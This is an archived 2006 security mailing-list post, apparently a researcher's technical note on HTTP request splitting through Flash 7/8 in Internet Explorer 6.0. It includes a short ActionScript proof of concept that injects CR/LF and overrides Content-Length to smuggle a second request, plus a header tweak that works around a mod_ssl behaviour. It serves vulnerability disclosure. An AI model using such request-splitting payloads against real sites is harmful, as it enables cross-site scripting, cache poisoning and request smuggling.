Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Web-App-Sec
[Top] [All Lists]

Technical note by Amit Klein: "Sending arbitrary HTTP requests with Flas

Subject: Technical note by Amit Klein: "Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)"
Date: Wed, 16 Aug 2006 22:33:52 +0200
Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)

             Amit Klein, August 2006


The trick
=========

In [1], I showed how to forge parts of HTTP requests containing 
CRs and LFs using Flash. In that write-up, the data was part of the
HTTP body section. However, combining the Content-Length overriding
trick from [2] enables a condition of HTTP request splitting (see [3]).

This enables almost complete control over the second HTTP request - 
including methods. The only pre-requisite (apart from using IE 6.0 and
Flash 7/8) is that there's one resource in the target website that does
not terminate the TCP connection in response to a POST request.

Here's an example:

  var req:XML=new XML("<foo>\r\nOPTIONS / HTTP/1.0\r\nHost: 
www.target.site\r\n\r\n</foo>");
  req.addRequestHeader("Content-Length","7");
  req.send("http://www.target.site/path/to/script.cgi","_blank";);

The request stream is:

  POST /path/to/script.cgi HTTP/1.1
  Accept: */*
  Accept-Language: en-us
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 7
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
  Host: www.target.site
  Connection: Keep-Alive
  Cache-Control: no-cache

  <foo>
  OPTIONS / HTTP/1.0
  Host: www.target.site
  
  </foo>

Note that this works well in HTTP and HTTPS. 

Also note that if the target web server is Apache 2.0 with mod_ssl,
then there's a need to modify the User-Agent header for IE, in order
for it not to include the string "MSIE". If the string "MSIE" is
found in the User-Agent header, mod_ssl will terminate the HTTPS
connection after the first request (see [5]). So this is as simple
as adding the following to the ActionScript code:

  req.addRequestHeader("User-Agent","Hacker/1.0");


Some interesting consequences
=============================

- Javascript scanning - now can use almost all HTTP methods (verbs) 
  including WebDAV, full control over the headers, etc.

- All the impact in [3] and [4] is relevant - XSS in some cases, HTTP
  request smugling and HTTP Response Splitting attacks (from the 
  browser), etc.


References
==========

[1] "Sending multipart/form-data requests from Flash (with arbitrary 
    headers)", Amit Klein, August 2006
    http://www.securityfocus.com/archive/1/442820

[2] "Forging HTTP request headers with Flash", Amit Klein, July 2006
    http://www.securityfocus.com/archive/1/441014

[3] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing, 
    and a lot more...", Amit Klein, September 2005
    http://www.securityfocus.com/archive/1/411585

[4] "IE + some popular forward proxy servers = XSS, defacement (browser
    cache poisoning)", Amit Klein, May 2006
    http://www.securityfocus.com/archive/1/434931

[5] "mod_ssl F.A.Q." (mod_ssl website), under "When I connect via HTTPS
    to an Apache+mod_ssl+OpenSSL server with Microsoft Internet Explorer
    (MSIE) I get various I/O errors. What is the reason?"
    http://www.modssl.org/docs/2.8/ssl_faq.html#ToC49











-------------------------------------------------------------------------
Sponsored by: Watchfire

Watchfire was recently named the worldwide market leader in Web 
application security assessment tools by both Gartner and IDC. 
Download a free trial of AppScan today and see why more customers choose 
AppScan then any other solution. Try it today!
  
https://www.watchfire.com/securearea/appscancamp.aspx?id=701500000008VnB
--------------------------------------------------------------------------

<Prev in Thread] Current Thread [Next in Thread>
  • Technical note by Amit Klein: "Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)", Amit Klein (AKsecurity) <=